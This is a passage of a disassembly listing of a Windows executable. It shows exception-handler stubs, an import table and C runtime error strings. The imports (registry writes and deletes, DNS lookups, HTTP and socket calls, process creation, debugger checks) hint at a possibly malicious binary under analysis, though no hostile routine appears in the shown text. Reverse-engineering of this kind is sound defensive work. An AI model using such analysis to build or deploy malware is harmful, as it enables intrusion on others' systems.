.vty:00420C24o lea ecx, [ebp-44h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B28A: ; DATA XREF: sub_403B47o mov eax, offset dword_420C28 jmp sub_41088F ; --------------------------------------------------------------------------- lea eax, [ebp-6Ch] jmp sub_40CCB1 ; --------------------------------------------------------------------------- loc_41B29C: ; DATA XREF: .vty:00420C58o lea ecx, [ebp-30h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B2AC: ; DATA XREF: sub_40399Bo mov eax, offset dword_420C64 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B2BE: ; DATA XREF: sub_402BCFo sub_403151+Eo mov eax, offset dword_420C90 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B2D8: ; DATA XREF: sub_40C028o mov eax, offset dword_420CC4 jmp sub_41088F ; --------------------------------------------------------------------------- push dword ptr [ebp-18h] call sub_40DD8A pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-58h] jmp loc_406BF3 ; --------------------------------------------------------------------------- lea esi, [ebp-7Ch] jmp sub_407598 ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B31A: ; DATA XREF: sub_40BDCDo mov eax, offset dword_420D18 jmp sub_41088F ; --------------------------------------------------------------------------- lea esi, [ebp-3Ch] jmp loc_4056B7 ; --------------------------------------------------------------------------- loc_41B32C: ; DATA XREF: .vty:00420D48o lea ecx, [ebp-2Ch] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= SEH_40B49B proc near ; DATA XREF: sub_40B49B+8o mov eax, offset dword_420D4C jmp sub_41088F SEH_40B49B endp ; --------------------------------------------------------------------------- loc_41B33E: ; DATA XREF: sub_40B2EFo mov eax, offset dword_420DA4 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B348: ; DATA XREF: .vty:00420DD4o jmp locret_401868 ; --------------------------------------------------------------------------- loc_41B34D: ; DATA XREF: sub_40A86Co mov eax, offset dword_420E04 jmp sub_41088F ; --------------------------------------------------------------------------- lea eax, [ebp-28h] jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_41B35F: ; DATA XREF: .vty:00420E34o lea eax, [ebp-34h] jmp loc_4089C8 ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-44h] jmp loc_4056B7 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A8h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea edi, [ebp-0A8h] jmp loc_4089D0 ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B3CD: ; DATA XREF: sub_408593o mov eax, offset dword_420E98 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B3D7: ; DATA XREF: sub_407454o mov eax, offset dword_420EF0 jmp sub_41088F ; --------------------------------------------------------------------------- jmp locret_401868 ; --------------------------------------------------------------------------- loc_41B3E6: ; DATA XREF: sub_406F12o sub_407365o ... mov eax, offset dword_420F1C jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B3F0: ; DATA XREF: sub_406C3Bo mov eax, offset dword_420F74 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B402: ; DATA XREF: .vty:00420FA4o lea ecx, [ebp-70h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-50h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-0D0h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B428: ; DATA XREF: sub_403E41o mov eax, offset dword_420FC0 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-148h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B43D: ; DATA XREF: .vty:00420FF0o lea ecx, [ebp-12Ch] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= SEH_402F64 proc near ; DATA XREF: sub_402F64+8o mov eax, offset dword_420FF4 jmp sub_41088F SEH_402F64 endp ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- push dword ptr [ebp-48h] call sub_40DD8A pop ecx retn ; --------------------------------------------------------------------------- mov esi, [ebp-48h] add esi, 1Ch jmp loc_4056B7 ; --------------------------------------------------------------------------- loc_41B46F: ; DATA XREF: sub_40C10Eo mov eax, offset dword_421030 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-80h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-64h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-64h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-64h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-90h] jmp loc_4056B7 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B4AC: ; DATA XREF: sub_40BB2D+Eo mov eax, offset dword_421084 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-60h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B4C6: ; DATA XREF: sub_40BA6Eo mov eax, offset dword_4210B8 jmp sub_41088F ; --------------------------------------------------------------------------- lea esi, [ebp-74h] jmp loc_407B2B ; --------------------------------------------------------------------------- loc_41B4D8: ; DATA XREF: sub_40B7A2o mov eax, offset dword_4210E4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-74h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B4FA: ; DATA XREF: sub_40B642o mov eax, offset dword_421120 jmp sub_41088F ; --------------------------------------------------------------------------- lea edi, [ebp-40h] jmp loc_4089D0 ; --------------------------------------------------------------------------- loc_41B50C: ; DATA XREF: sub_40A022o mov eax, offset dword_4211B4 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B51E: ; DATA XREF: .vty:004211E4o lea ecx, [ebp-70h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-0DCh] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-0DCh] jmp sub_4072AA ; --------------------------------------------------------------------------- lea ecx, [ebp-94h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea esi, [ebp-48h] jmp loc_4056B7 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A4h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea edi, [ebp-0A4h] jmp loc_4089D0 ; --------------------------------------------------------------------------- loc_41B578: ; DATA XREF: sub_4081BFo mov eax, offset dword_421228 jmp sub_41088F ; --------------------------------------------------------------------------- lea esi, [ebp-74h] jmp loc_407B2B ; --------------------------------------------------------------------------- loc_41B58A: ; DATA XREF: .vty:00421258o lea ecx, [ebp-2Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-64h] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= SEH_407C9A proc near ; DATA XREF: sub_407784+8o ; sub_407C9A+8o mov eax, offset dword_42126C jmp sub_41088F SEH_407C9A endp ; --------------------------------------------------------------------------- loc_41B5AC: ; DATA XREF: sub_40765Fo mov eax, offset dword_4212C4 jmp sub_41088F ; --------------------------------------------------------------------------- lea edi, [ebp-90h] jmp sub_405989 ; --------------------------------------------------------------------------- loc_41B5C1: ; DATA XREF: sub_405FB0o mov eax, offset dword_421358 jmp sub_41088F ; --------------------------------------------------------------------------- lea edi, [ebp+8] jmp sub_405989 ; --------------------------------------------------------------------------- loc_41B5D3: ; DATA XREF: sub_405ADBo mov eax, offset dword_421384 jmp sub_41088F ; --------------------------------------------------------------------------- mov esi, [ebp-10h] jmp loc_405AD1 ; --------------------------------------------------------------------------- loc_41B5E5: ; DATA XREF: .vty:004213B4o mov esi, [ebp-10h] add esi, 10h jmp loc_405AD6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 20h jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B5FB: ; DATA XREF: sub_40583Bo mov eax, offset dword_4213C0 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= sub_41B60D proc near ; CODE XREF: sub_411F7A+21p ; sub_411F7A+50p ; DATA XREF: ... mov eax, offset dword_4213EC jmp sub_41088F sub_41B60D endp ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B627: ; DATA XREF: sub_40376Eo mov eax, offset dword_421420 jmp sub_41088F ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp loc_4033BE ; =============== S U B R O U T I N E ======================================= SEH_4033DA proc near ; DATA XREF: sub_4033DA+8o sub_4048E7o mov eax, offset dword_42144C jmp sub_41088F SEH_4033DA endp ; --------------------------------------------------------------------------- lea ecx, [ebp-60h] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- lea ecx, [ebp-7Ch] jmp loc_4033BE ; --------------------------------------------------------------------------- loc_41B65B: ; DATA XREF: sub_405089o mov eax, offset dword_4214BC jmp sub_41088F ; --------------------------------------------------------------------------- lea edi, [ebp-134h] jmp sub_40260A ; --------------------------------------------------------------------------- loc_41B670: ; DATA XREF: sub_402E1Fo mov eax, offset dword_4214E8 jmp sub_41088F ; --------------------------------------------------------------------------- loc_41B67A: ; DATA XREF: sub_401156+34o push 0 push 1 mov ecx, offset dword_424E84 call sub_4013C4 retn ; --------------------------------------------------------------------------- loc_41B689: ; DATA XREF: sub_4024A7+47o push esi mov esi, offset dword_424E70 call sub_401CE8 push dword_424E74 call sub_40DD8A and dword_424E74, 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B6A9: ; DATA XREF: sub_40DE68+40o mov dword_424384, offset off_41C290 mov ecx, offset dword_424384 jmp sub_40D931 ; --------------------------------------------------------------------------- align 10h dd 250h dup(0) dword_41C000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4010E1+64r ... dword_41C004 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4048E7+75r dword_41C008 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_404B2B+18Er dword_41C00C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4047AC+4Ar ... dword_41C010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_404B2B+332r dword_41C014 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4047AC+93r ... dd 0 dword_41C01C dd 76F25B4Dh ; resolved to->DNSAPI.DnsRecordListFreedword_41C020 dd 76F36C5Bh ; resolved to->DNSAPI.DnsQuery_A align 8 dword_41C028 dd 7C81B18Fh ; resolved to->KERNEL32.GetConsoleOutputCPdword_41C02C dd 7C835484h ; resolved to->KERNEL32.WriteConsoleWdword_41C030 dd 7C81CF25h ; resolved to->KERNEL32.WriteConsoleAdword_41C034 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_41ACB3+13r dword_41C038 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_41C03C dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41844E+11Cr dword_41C040 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeAdword_41C044 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_41C048 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_41AB51+2Dr dword_41C04C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_417E83+134r ... dword_41C050 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41720E+52r dword_41C054 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_41C058 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_415C79+51r dword_41C05C dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_41C060 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_41C064 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_41C068 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_402509+90r ... dword_41C06C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_401B38+CDr ... dword_41C070 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_401B38+27r ... dword_41C074 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_41C078 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_419D84:loc_419DDCr dword_41C07C dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_41C080 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_41C084 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40376E+10Dr ... dword_41C088 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_403151+241r ... dword_41C08C dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_4047AC+20r ... dword_41C090 dd 7C802442h ; resolved to->KERNEL32.Sleep ; .vty:00403929r ... dword_41C094 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_41C098 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_41C09C dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_41C0A0 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4107B2-1CCr ... dword_41C0A4 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_403E41+100r ... dword_41C0A8 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; sub_404B2B+3F7r dword_41C0AC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_411D53+49r ... dword_41C0B0 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_41C0B4 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEvent ; sub_403151+24Dr dword_41C0B8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41C0BC dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfodword_41C0C0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_41422C+99r ... dword_41C0C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_411D53+39r ... dword_41C0C8 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_41C0CC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_416C79+1r ... dword_41C0D0 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_4107B2-192r dword_41C0D4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033DA+D5r ... dword_41C0D8 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformationdword_41C0DC dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_41C0E0 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatAdword_41C0E4 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_41C0E8 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_41C0EC dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_41C0F0 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41C0F4 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_41C0F8 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_41C0FC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_41A5AF+2A3r ... dword_41C100 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40460B+19Ar ... dword_41C104 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_416B2C+FCr dword_41C108 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_416B2C+F5r dword_41C10C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; sub_41411B+E5r ... dword_41C110 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41411B+DBr ... dword_41C114 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresent ; sub_416B2C+B9r dword_41C118 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; sub_415C79+35r dword_41C11C dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; .vty:0041046Fr dword_41C120 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_411F7A+60r ... dword_41C124 dd 7C810637h ; resolved to->KERNEL32.CreateThreaddword_41C128 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_41C12C dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4107B2-159r ... dword_41C130 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_411069+Fr ... dword_41C134 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_41A3FB+67r ... dword_41C138 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_41C13C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_41C140 dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_411DBF+7r ... dword_41C144 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; sub_41219F:loc_41223Er dword_41C148 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_412136+62r ... dword_41C14C dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; sub_41219F+85r dword_41C150 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_412E01+84r ... dword_41C154 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_4182CC+ABr dword_41C158 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_412E01+59r ... dword_41C15C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_41C160 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_412F1F+56r ... dword_41C164 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_41C168 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_41C16C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4135A3+365r dword_41C170 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_41440F+1EFr ... dword_41C174 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41844E:loc_4184D1r ... dword_41C178 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4135A3+144r ... dword_41C17C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_41440F+212r ... dword_41C180 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41593C+1B5r dword_41C184 dd 7C8740E3h ; resolved to->KERNEL32.GetConsoleCPdword_41C188 dd 7C81AF14h ; resolved to->KERNEL32.GetConsoleModedword_41C18C dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_415807+126r dword_41C190 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsAdword_41C194 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41C198 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C19C dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41C1A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41593C+1C7r ... dword_41C1A4 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41C1A8 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate align 10h dword_41C1B0 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_41C1B4 dd 7E41BD76h ; resolved to->USER32.GetCursorPos dd 0 dword_41C1BC dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_41C1C0 dd 42C249F2h ; resolved to->WININET.InternetConnectAdword_41C1C4 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_403E41+368r ... dword_41C1C8 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_403E41+27Cr ... dword_41C1CC dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_403E41+2D9r ... dword_41C1D0 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_403E41+178r ... dword_41C1D4 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_41C1D8 dd 42C20CC1h ; resolved to->WININET.HttpQueryInfoA ; sub_403E41+31Br ... align 10h dword_41C1E0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40D355+52r dword_41C1E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40CCCC+1Cr dword_41C1E8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40CC9C+2r dword_41C1EC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40CCCC+B6r dword_41C1F0 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40D66E+17r dword_41C1F4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_41C1F8 dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_41C1FC dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_403A28+B1r ... dword_41C200 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40B642+73r ... dword_41C204 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40CCCC+C8r dword_41C208 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41C20C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_41C210 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_40D355+62r ... dword_41C214 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40D602+4Ar dword_41C218 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_40CCCC+62r align 10h dword_41C220 dd 0 dword_41C224 dd 0 dword_41C228 dd 0 dd offset sub_40DB55 dd offset sub_412A84 dd offset sub_413264 dd offset sub_413A88 dd offset sub_418441 dd offset sub_415D79 dword_41C244 dd 0 dword_41C248 dd 0 dd offset sub_41ACD2 dd offset sub_413B39 dword_41C254 dd 0 dword_41C258 dd 0 dd offset sub_415D9A dword_41C260 dd 0Bh dup(0) dd offset dword_41F3C0 off_41C290 dd offset loc_40100B ; DATA XREF: .vty:loc_401000o ; .vty:0040100Eo ... dd offset sub_40D947 dd offset dword_41F490 off_41C29C dd offset loc_4018D0 ; DATA XREF: sub_401869+20o ; sub_4018A5+Ao ... ; --------------------------------------------------------------------------- retn 4018h ; --------------------------------------------------------------------------- align 4 dd offset dword_41F440 off_41C2A8 dd offset loc_4018F7 ; DATA XREF: .vty:loc_4018ECo ; .vty:004018FAo ... ; --------------------------------------------------------------------------- retn 4018h ; --------------------------------------------------------------------------- align 10h dd offset dword_41F6A4 off_41C2B4 dd offset loc_408185 ; DATA XREF: sub_40817Ao ; .vty:00408188o ... ; --------------------------------------------------------------------------- retn 4018h ; --------------------------------------------------------------------------- align 4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_40D784+Co aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_40D7C3+Co dd offset dword_41F298 off_41C2E8 dd offset loc_40D954 ; DATA XREF: sub_40D862+Ao ; sub_40D873+9o ... dd offset sub_40D947 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_40D947+7o align 4 dd offset dword_41F2AC off_41C308 dd offset loc_40DE18 ; DATA XREF: sub_40DE0A+1o ; .vty:off_423014o ... align 10h aVisualCCrtNotE db 'Visual C++ CRT: Not enough memory to complete call to strerror.',0 ; DATA XREF: sub_40F6FC+Fo ; sub_40F6FC+32o dword_41C350 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h byte_41C368 db 0 ; DATA XREF: sub_4113BB+177r align 10h aNull: ; DATA XREF: .vty:off_4231B4o unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .vty:off_4231B0o align 4 byte_41C388 db 6 ; DATA XREF: sub_4113BB:loc_411544r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38202800h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aEncodepointer db 'EncodePointer',0 ; DATA XREF: sub_411D53+43o ; sub_411EC6+2Eo align 4 aKernel32_dll_0 db 'KERNEL32.DLL',0 ; DATA XREF: sub_411D53:loc_411D87o ; sub_411DBF:loc_411DF3o ... align 4 aDecodepointer db 'DecodePointer',0 ; DATA XREF: sub_411DBF+43o ; sub_411EC6+42o align 4 aFlsfree db 'FlsFree',0 ; DATA XREF: sub_41219F+44o aFlssetvalue db 'FlsSetValue',0 ; DATA XREF: sub_41219F+37o aFlsgetvalue db 'FlsGetValue',0 ; DATA XREF: sub_41219F+2Ao aFlsalloc db 'FlsAlloc',0 ; DATA XREF: sub_41219F+22o align 10h aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_4124BD+Fo align 10h aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_4124BDo aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: .vty:00423278o align 4 aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: .vty:00423274o aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: .vty:00423270o align 4 aNoLocksAvailab db 'No locks available',0 ; DATA XREF: .vty:0042326Co align 4 aFilenameTooLon db 'Filename too long',0 ; DATA XREF: .vty:00423268o align 4 aResourceDeadlo db 'Resource deadlock avoided',0 ; DATA XREF: .vty:00423260o align 4 aResultTooLarge db 'Result too large',0 ; DATA XREF: .vty:00423258o align 4 aDomainError db 'Domain error',0 ; DATA XREF: .vty:00423254o align 4 aBrokenPipe db 'Broken pipe',0 ; DATA XREF: .vty:00423250o aTooManyLinks db 'Too many links',0 ; DATA XREF: .vty:0042324Co align 4 aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: .vty:00423248o align 10h aInvalidSeek db 'Invalid seek',0 ; DATA XREF: .vty:00423244o align 10h aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: .vty:00423240o aFileTooLarge db 'File too large',0 ; DATA XREF: .vty:0042323Co align 4 aInappropriateI db 'Inappropriate I/O control operation',0 ; DATA XREF: .vty:00423234o aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: .vty:00423230o aTooManyOpenF_0 db 'Too many open files in system',0 ; DATA XREF: .vty:0042322Co align 10h aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: .vty:00423228o align 4 aIsADirectory db 'Is a directory',0 ; DATA XREF: .vty:00423224o align 4 aNotADirectory db 'Not a directory',0 ; DATA XREF: .vty:00423220o aNoSuchDevice db 'No such device',0 ; DATA XREF: .vty:0042321Co align 4 aImproperLink db 'Improper link',0 ; DATA XREF: .vty:00423218o align 4 aFileExists db 'File exists',0 ; DATA XREF: .vty:00423214o aResourceDevice db 'Resource device',0 ; DATA XREF: .vty:00423210o aUnknownError db 'Unknown error',0 ; DATA XREF: .vty:0042320Co ; .vty:00423238o ... align 10h aBadAddress db 'Bad address',0 ; DATA XREF: .vty:00423208o aPermissionDeni db 'Permission denied',0 ; DATA XREF: .vty:00423204o align 10h aNotEnoughSpace db 'Not enough space',0 ; DATA XREF: .vty:00423200o align 4 aResourceTempor db 'Resource temporarily unavailable',0 ; DATA XREF: .vty:004231FCo align 4 aNoChildProcess db 'No child processes',0 ; DATA XREF: .vty:004231F8o align 4 aBadFileDescrip db 'Bad file descriptor',0 ; DATA XREF: .vty:004231F4o aExecFormatErro db 'Exec format error',0 ; DATA XREF: 